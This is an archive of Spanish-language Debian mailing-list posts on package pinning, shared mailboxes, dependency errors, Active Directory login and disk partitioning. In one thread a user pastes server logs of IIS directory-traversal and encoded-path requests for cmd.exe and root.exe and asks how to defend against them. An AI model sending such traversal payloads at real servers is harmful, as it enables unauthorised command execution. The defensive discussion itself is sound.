Re: Synaptic: Mantener Versión Actual
has probado a buscarlo desde synaptic... hay una casilla donde se puede poner el nombre del paquete y te debería salir... Salva Josep Maria escribió: Hola foro: He marcado un paquete en Synaptic con "Mantener versión actual" y ahora no lo encuentro por ningún sitio para poder desmarcarlo y dejarlo como estaba. ¿Alguien me puede ayudar? Gracias
Re: Ataque al web server
A mi me ocurre lo mismo, pero no le doy importancia... ahora pienso en aquello pobres diablos que utilicen IIS pobrecillos. Raúl Hernández escribió: Hola a [EMAIL PROTECTED], tengo un servidor web montado con boa (sencillo y eficaz) para poder ver la documentación de Debian desde Mozilla con dwww. Esta máquina también hace de pasarela de mi mini-red local conectando por ppp a inet. Hoy me ha dado por revisar los logs de bos y me encuentro: 62.147.188.173 - - [25/Jan/2004:01:29:44 +] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:29:47 +] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:29:50 +] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:29:53 +] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:29:55 +] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:29:57 +] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:00 +] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:02 +] "GET 62.147.188./msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 62.147.188. HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:05 +] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:10 +] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:11 +] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:12 +] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:13 +] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:14 +] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:16 +] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" 62.147.188.173 - - [25/Jan/2004:01:30:18 +] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" Naturalmente mis direcciones IP son del tipo 192.168.0.0 por lo que esto viene del exterior. ¿Alguien puede aclarar qué tipo de ataque es y como evitarlo en el futuro? Entiendo que no ha tenido éxito, ya que los ficheros referidos son WINDOG y no existen en mi sistema. ¿Es suficiente la directiva Listen 192.168.X.X en /etc/boa/boa.conf para evitar estos temas? También tengo las directivas en /etc/hosts.deny: ALL: PARANOID ALL: ALL y permitiendo solo las direcciones locales en /etc/hosts.allow, por lo que no me explico cómo han podido acceder desde inet siendo IPs fuera del rango permitido. Gracias y ...
Re: DOBLE USUARIO
Yo también me inclinaria por cuentas imap,así si alguien borra el mensaje lo borraría para todo quisqui, incluso creo que podrías utilizar etiquetas de colores para gestionar los mensajes, por ejemplo, si alguien se está encargando de uno de ellos en concreto. Aunque no se si las 4 personas pueden entrar en la cuenta al mismo tiempo Suerte Salva [EMAIL PROTECTED] wrote: - Crea una cuenta para cada uno, y luego en /etc/aliases creas un alias para que cada mensaje llegue a las 4 cuentas. Esto tiene un inconveniente y es que no sabréis si un correo ha sido revisado ya por uno de los del grupo, por lo que puede que lo respondan más de una persona. --> gracias, supongo que esto lo que quiero Eso si, si a lo que te referías es que teneis 1 buzón para todo el departamento donde llega todo tipo de mails dirigidos a personas en concreto... dile a tu root que te cree mas cuentas que no cuesta nada! :) --> no es que me cueste dinero crear una cuenta para cada uno, es cuestión de organización interna, y además, funciona muy bien porque todos conocemos el estado del trabajo del otro, soy partidaria de trabajar así. Gracias, Un saludo, [EMAIL PROTECTED]
Re: error de dependencias al instalar rox-filer
Bájatelo de la página de debian Haz una búsqueda en los paquetes experimentales y luego lo instalas con dpkg -i shared-mime-info A mi me funcionó así Salva JFA wrote: On Mon, Feb 16, 2004 at 12:38:44AM +0100, Aitor wrote: despues ejecuto. apt-get install rox pero me indica el siguiente mensaje Los siguientes paquetes tienen dependencias incumplidas: rox: Depende: shared-mime-info (>= 0.8) pero no es instalable E: Paquetes rotos entonces, intento instalar el shared-mime-info pero tampoco me deja, Supongo que te dirá que este paquete,el shared-mime-info no existe. Si es así ya sabes cual es el problema, ese paquete. Debes encontrarlo, aunque en aptsearch.com no aparece ... también le puedes mandar un bug al que hizo el paquete, pues el problema es de él.
Re: Loguearse contra Directorio Activo
Y lo mismo la siguiente página te interesa para poder instalarte
samba 3.01 de manera facil:
http://www.backports.org/
Introduction
You are running Debian stable, because you prefer the stable Debian
tree. It runs great, there is just one problem: the software is a little
bit outdated compared to other distributions. That is where backports
come in.
Backports are recompiled packages from testing (mostly) and unstable (in
a few cases only, e.g. security updates), so they will run without new
libraries (wherever it is possible) on a stable Debian distribution. I
recommend you to pick out single backports which fits your needs, and
not to use all backports available here.
Norbert Tretkowski aka nobse
Salva
Alvaro Cortes escribió:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
txipi wrote:
| Hola,
|
| llevo tiempo intentando configurar varios PCs con Debian para que
| se logueen contra el Directorio Activo de una red Windows2000 y no
| lo consigo ni de coña.
|
| He probado con winbind, pero no es exactamente la respuesta a mi
| problema ("n" workstations Debian contra 1 servidor Windows2000 con
| AD), sino que está más bien enfocado a servidores de ficheros o de
| impresión, etc.
|
| He estado peleándome con el nsswitch.conf, instalando un nscd en
| cada máquina, mirándo cosas de PAM, pero no lo veo nada claro.
|
| ¿Alguien hace login con un usuario de un Directorio Activo Windows
| 2000 desde su Debian?
|
| Gracias por vuestra atención ;-)
|
| -- Agur txipi
|
| wget -O - http://sindominio.net/~txipi/txipi.gpg.asc | gpg --import
| Key fingerprint = CCAF 9676 B049 997A 96D6 4D7C 3529 5545 4375
| 1BF4
|
| Other women cloy The appetites they feed, but she makes hungry
| Where most she satisfies. -- Antony and Cleopatra
|
Hola.
Hace mucho, mucho tiempo con una Suse 6.4 conseguí logearme en un PDC
Windows 2000. Primero tuve que conseguir el modulo pam de smb, despues
sino recuerdo mal tienes que espeficar el dominio y el PDC en un
fichero de configuracion y añadir a tus ficheros de configuracion de
pam lo que quieres exactamente, si debe ser obligatorio, sino, etc ...
Los usuario que quieras autentificar deben existir en la maquina
Linux, pero sin contraseña, sino no funcionara.
No se si el AD influira pero creo que no. Por si acaso te recomiendo
que uses samba 3.0 que no esta en woody.
Espero que te sirva de algo.
Saludos,
Alvaro
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Debian - http://enigmail.mozdev.org
iD8DBQFAJk07W48HwLkqqlwRAiwmAKCkjlS3odHCeIO/oF4kSHr19SASogCgg2vE
EVds+Nhm1QtEziVCFQLRee8=
=l/OQ
-END PGP SIGNATURE-
Re: Particionando con Partition Magic 8
A mi se me ha dado siempre bien, cientos de veces, salvo una vez que las cague bien cagadas y mande al infierno 30GB, pero se trataba de un Windows2000 Server y creo que no estaba soportado en nimgún modo por PM, la advertencia de no hacerlo fue enorme. Tarde todo un fin de semana en recuperar la información. En W98, XP, 2000 WorkStation nunca he tenido problemas y le he hecho muchas pajas a las particiones. También prodrías usar el particionador que viene con la distribución mandrake 'harddrake' creo que se llama, metes el disco de instalación y vas pasando hasta que llegues al tema de particiones y allí puedes modificar lo que te venga en gana. No hace falta que instales Mandrake, reinicias cuando termine el proceso y listo. Por cierto, te recomendaría que utilizaras EXT3 como sistema de ficheros, aunque cada cual tiene sus preferencias. Un Saludo. Salva Diego Garcia escribió: tengo que crear una nueva particion en mi disco duro para instalar debian, tengo intalado windows xp y obviamente el S.O. no me importa mucho, pero si los datos. Para evitar respaldar todo, (20 Gigas) se que el partition magic puede crear la particion, sin tocar los datos, mi preguna es la siguiente: ¿ Que tan confiable es Partition Magic, como para confiarle toda mi informacion ?, el mismo programa recomienda respaldar por precaución, pero es realmente necesario hacerlo ?? Alguna mala experiencia ?? Gracias por la ayuda _ Do You Yahoo!? La mejor conexión a internet y 25MB extra a tu correo por $100 al mes. http://net.yahoo.com.mx
